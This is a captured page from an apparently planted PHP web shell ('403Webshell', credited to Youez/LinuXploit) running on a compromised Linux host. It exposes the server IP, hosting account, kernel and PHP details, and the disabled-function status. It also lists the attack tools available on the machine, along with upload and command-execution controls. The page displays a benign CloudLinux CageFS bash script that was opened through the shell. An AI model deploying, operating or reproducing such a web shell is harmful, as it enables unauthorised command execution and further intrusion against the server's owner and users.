- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.221.58.191
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/cagefs/cpanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/cagefs/cpanel//cpanel-delete-cagefs
#!/bin/bash

. /opt/cloudlinux/venv/usr/share/python-cllib/scripts/cl-common

before_apache_make="/scripts/before_apache_make"
posteasyapache="/scripts/posteasyapache"
postupcp="/scripts/postupcp"

target="CageFS"
log_message="Delete hooks"
common_path="/usr/share/cagefs/cpanel"

showBar 1
deleteAllInclude "$before_apache_make" "before_apache_make" "/#$target/d" "$common_path"
showBar 2
writeToLog "before_apache_make: $log_message" "$common_path"

showBar 3
deleteAllInclude "$posteasyapache" "posteasyapache" "/#$target/d" "$common_path"
showBar 4
writeToLog "posteasyapache: $log_message" "$common_path"

showBar 5
deleteAllInclude "$postupcp" "postupcp" "/#$target/d" "$common_path"
showBar 6
writeToLog "postupcp: $log_message" "$common_path"

echo

Youez - 2016 - github.com/yon3zu
LinuXploit